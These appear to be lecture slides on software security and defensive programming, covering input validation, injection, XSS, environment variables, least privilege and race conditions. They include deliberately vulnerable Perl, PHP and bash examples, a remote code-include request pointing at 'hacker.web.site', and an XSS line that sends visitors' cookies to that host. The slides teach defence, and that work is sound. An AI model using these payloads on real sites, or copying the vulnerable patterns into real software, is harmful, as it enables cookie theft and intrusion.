Software Security

• many vulnerabilities result from poor programming practices
  – cf. Open Web Application Security Top Ten include 5 software related flaws
• often from insufficient checking / validation of program input
• awareness of issues is critical
Software Quality vs Security

• software quality and reliability
  – accidental failure of program
  – from theoretically random unanticipated input
  – improve using structured design and testing
  – not how many bugs, but how often triggered

• software security is related
  – but attacker chooses input distribution, specifically targeting buggy code to exploit
  – triggered by often very unlikely inputs
  – which common tests don’t identify
Defensive Programming

- a form of defensive design to ensure continued function of software despite unforeseen usage
- requires attention to all aspects of program execution, environment, data processed
- also called secure programming
- assume nothing, check all potential errors
- rather than just focusing on solving task
- must validate all assumptions
Abstract Program Model
Security by Design

• security and reliability common design goals in most engineering disciplines
  – society not tolerant of bridge/plane etc failures

• software development not as mature
  – much higher failure levels tolerated

• despite having a number of software development and quality standards
  – main focus is general development lifecycle
  – increasingly identify security as a key goal
Handling Program Input

• incorrect handling a very common failing
• input is any source of data from outside
  – data read from keyboard, file, network
  – also execution environment, config data
• must identify all data sources
• and explicitly validate assumptions on size and type of values before use
Input Size & Buffer Overflow

• often have assumptions about buffer size
  – eg. that user input is only a line of text
  – size buffer accordingly but fail to verify size
  – resulting in buffer overflow (see Ch 11)

• testing may not identify vulnerability
  – since focus on “normal, expected” inputs

• safe coding treats all input as dangerous
  – hence must process so as to protect program
Interpretation of Input

• program input may be binary or text
  – binary interpretation depends on encoding and is usually application specific
  – text encoded in a character set e.g. ASCII
  – internationalization has increased variety
  – also need to validate interpretation before use
    • e.g. filename, URL, email address, identifier

• failure to validate may result in an exploitable vulnerability
Injection Attacks

• flaws relating to invalid input handling which then influences program execution
  – often when passed as a parameter to a helper program or other utility or subsystem
• most often occurs in scripting languages
  – encourage reuse of other programs / modules
  – often seen in web CGI scripts
Unsafe Perl Script

1  #!/usr/bin/perl
2  # finger.cgi - finger CGI script using Perl5 CGI module
3
4  use CGI;
5  use CGI::Carp qw(fatalsToBrowser);
6  $q = new CGI;  # create query object
7
8  # display HTML header
9  print $q->header,
10     $q->start_html('Finger User'),
11     $q->h1('Finger User');
12  print "<pre>";
13
14  # get name of user and display their finger details
15  $user = $q->param("user");
16  print `#/usr/bin/finger -sh $user`;  
17
18  # display HTML footer
19  print "</pre>";
20  print $q->end_html;
Safer Script

• counter attack by validating input
  – compare to pattern that rejects invalid input
  – see example additions to script:

```perl
14  # get name of user and display their finger details
15  $user = $q->param("user");
16  die "The specified user contains illegal characters!"
17  unless ($user =~ /^\w+$/);
18  print `\usr/bin/finger -sh $user`; 
```
SQL Injection

• another widely exploited injection attack
• when input used in SQL query to database
  – similar to command injection
  – SQL meta-characters are the concern
  – must check and validate input for these

```php
$name = $_REQUEST['name'];
$query = "SELECT * FROM suppliers WHERE name = " . $name . "";
$result = mysql_query($query);
```
Code Injection

• further variant
• input includes code that is then executed
  – see PHP remote code injection vulnerability
    • variable + global field variables + remote include
  – this type of attack is widely exploited

```php
<?php
include $path . 'functions.php';
include $path . 'data/prefs.php';
```

GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
Cross Site Scripting Attacks

• attacks where input from one user is later output to another user

• XSS commonly seen in scripted web apps
  – with script code included in output to browser
  – any supported script, e.g. Javascript, ActiveX
  – assumed to come from application on site

• XSS reflection
  – malicious code supplied to site
  – subsequently displayed to other users
XSS Example

• cf. guestbooks, wikis, blogs etc
• where comment includes script code
  – e.g. to collect cookie details of viewing users
• need to validate data supplied
  – including handling various possible encodings
• attacks both input and output handling

Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?' +
document.cookie</script>
Validating Input Syntax

• to ensure input data meets assumptions
  – e.g. is printable, HTML, email, userid etc
• compare to what is known acceptable
• not to known dangerous
  – as can miss new problems, bypass methods
• commonly use regular expressions
  – pattern of characters describe allowable input
  – details vary between languages
• bad input either rejected or altered
Alternate Encodings

• may have multiple means of encoding text
  – due to structured form of data, e.g. HTML
  – or via use of some large character sets
• Unicode used for internationalization
  – uses 16-bit value for characters
  – UTF-8 encodes as 1-4 byte sequences
  – have redundant variants
    • e.g. / is 2F, C0 AF, E0 80 AF
    • hence if blocking absolute filenames check all!
• must canonicalize input before checking
Validating Numeric Input

• may have data representing numeric values
• internally stored in fixed sized value
  – e.g. 8, 16, 32, 64-bit integers or 32, 64, 96 float
  – signed or unsigned
• must correctly interpret text form
• and then process consistently
  – have issues comparing signed to unsigned
  – e.g. large positive unsigned is negative signed
  – could be used to thwart buffer overflow check
Input Fuzzing

- powerful testing method using a large range of randomly generated inputs
  - to test whether program/function correctly handles abnormal inputs
  - simple, free of assumptions, cheap
  - assists with reliability as well as security

- can also use templates to generate classes of known problem inputs
  - could then miss bugs, so use random as well
Writing Safe Program Code

• next concern is processing of data by some algorithm to solve required problem
• compiled to machine code or interpreted
  – have execution of machine instructions
  – manipulate data in memory and registers
• security issues:
  – correct algorithm implementation
  – correct machine instructions for algorithm
  – valid manipulation of data
Correct Algorithm Implementation

• issue of good program development
• to correctly handle all problem variants
  – c.f. Netscape random number bug
  – supposed to be unpredictable, but wasn’t
• when debug/test code left in production
  – used to access data or bypass checks
  – c.f. Morris Worm exploit of sendmail
• interpreter incorrectly handles semantics
• hence care needed in design/implement
Correct Machine Language

• ensure machine instructions correctly implement high-level language code
  – often ignored by programmers
  – assume compiler/interpreter is correct
  – c.f. Ken Thompson’s paper

• requires comparing machine code with original source
  – slow and difficult
  – is required for higher Common Criteria EAL’s
Correct Data Interpretation

• data stored as bits/bytes in computer
  – grouped as words, longwords etc
  – interpretation depends on machine instruction

• languages provide different capabilities for restricting/validating data use
  – strongly typed languages more limited, safer
  – others more liberal, flexible, less safe e.g. C

• strongly typed languages are safer
Correct Use of Memory

• issue of dynamic memory allocation
  – used to manipulate unknown amounts of data
  – allocated when needed, released when done
• memory leak occurs if incorrectly released
• many older languages have no explicit support for dynamic memory allocation
  – rather use standard library functions
  – programmer ensures correct allocation/release
• modern languages handle automatically
Race Conditions in Shared Memory

• when multiple threads/processes access shared data / memory
• unless access synchronized can get corruption or loss of changes due to overlapping accesses
• so use suitable synchronization primitives
  – correct choice & sequence may not be obvious
• have issue of access deadlock
Interacting with O/S

• programs execute on systems under O/S
  – mediates and shares access to resources
  – constructs execution environment
  – with environment variables and arguments

• systems have multiple users
  – with access permissions on resources / data

• programs may access shared resources
  – e.g. files
Environment Variables

• set of string values inherited from parent
  – can affect process behavior
  – e.g. PATH, IFS, LD_LIBRARY_PATH
• process can alter for its children
• another source of untrusted program input
• attackers use to try to escalate privileges
• privileged shell scripts targeted
  – very difficult to write safely and correctly
Example Vulnerable Scripts

• using PATH or IFS environment variables
• cause script to execute attackers program
• with privileges granted to script
• almost impossible to prevent in some form

```bash
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```

```bash
#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs
```
Vulnerable Compiled Programs

• if invoke other programs can be vulnerable to PATH variable manipulation
  – must reset to “safe” values
• if dynamically linked may be vulnerable to manipulation of LD_LIBRARY_PATH
  – used to locate suitable dynamic library
  – must either statically link privileged programs
  – or prevent use of this variable
Use of Least Privilege

• exploit of flaws may give attacker greater privileges - privilege escalation
• hence run programs with least privilege needed to complete their function
  – determine suitable user and group to use
  – whether grant extra user or group privileges
    • latter preferred and safer, may not be sufficient
• ensure can only modify files/dirs needed
  • otherwise compromise results in greater damage
  • recheck these when moved or upgraded
Root/Admin Programs

• programs with root / administrator privileges a major target of attackers
  – since provide highest levels of system access
  – are needed to manage access to protected system resources, e.g. network server ports
• often privilege only needed at start
  – can then run as normal user
• good design partitions complex programs in smaller modules with needed privileges
System Calls and Standard Library Functions

• programs use system calls and standard library functions for common operations
  – and make assumptions about their operation
  – if incorrect behavior is not what is expected
  – may be a result of system optimizing access to shared resources
    • by buffering, re-sequencing, modifying requests
  – can conflict with program goals
# Secure File Shredder

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, ... ]

<table>
<thead>
<tr>
<th>open file for writing</th>
</tr>
</thead>
<tbody>
<tr>
<td>for each pattern</td>
</tr>
<tr>
<td>seek to start of file</td>
</tr>
<tr>
<td>overwrite file contents with pattern</td>
</tr>
<tr>
<td>close file</td>
</tr>
<tr>
<td>remove file</td>
</tr>
</tbody>
</table>

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, ... ]

<table>
<thead>
<tr>
<th>open file for update</th>
</tr>
</thead>
<tbody>
<tr>
<td>for each pattern</td>
</tr>
<tr>
<td>seek to start of file</td>
</tr>
<tr>
<td>overwrite file contents with pattern</td>
</tr>
<tr>
<td>flush application write buffers</td>
</tr>
<tr>
<td>sync file system write buffers with device</td>
</tr>
<tr>
<td>close file</td>
</tr>
<tr>
<td>remove file</td>
</tr>
</tbody>
</table>
Race Conditions

• programs may access shared resources
  – e.g. mailbox file, CGI data file
• need suitable synchronization mechanisms
  – e.g. lock on shared file
• alternatives
  – lockfile - create/check, advisory, atomic
  – advisory file lock - e.g. flock
  – mandatory file lock - e.g. fcntl, need release
    • later mechanisms vary between O/S
    • have subtle complexities in use
Safe Temporary Files

• many programs use temporary files
• often in common, shared system area
• must be unique, not accessed by others
• commonly create name using process ID
  – unique, but predictable
  – attacker might guess and attempt to create own
    between program checking and creating
• secure temp files need random names
  – some older functions unsafe
  – must need correct permissions on file/dir
Other Program Interaction

- may use services of other programs
- must identify/verify assumptions on data
- esp older user programs
  - now used within web interfaces
  - must ensure safe usage of these programs
- issue of data confidentiality / integrity
  - within same system use pipe / temp file
  - across net use IPSec, TLS/SSL, SSH etc
- also detect / handle exceptions / errors
Handling Program Output

- final concern is program output
  - stored for future use, sent over net, displayed
  - may be binary or text
- conforms to expected form / interpretation
  - assumption of common origin,
  - c.f. XSS, VT100 escape seqs, X terminal hijack
- uses expected character set
- target not program but output display device
Summary

• discussed software security issues
• handling program input safely
  – size, interpretation, injection, XSS, fuzzing
• writing safe program code
  – algorithm, machine language, data, memory
• interacting with O/S and other programs
  – ENV, least privilege, syscalls / std libs, file lock, temp files, other programs
• handling program output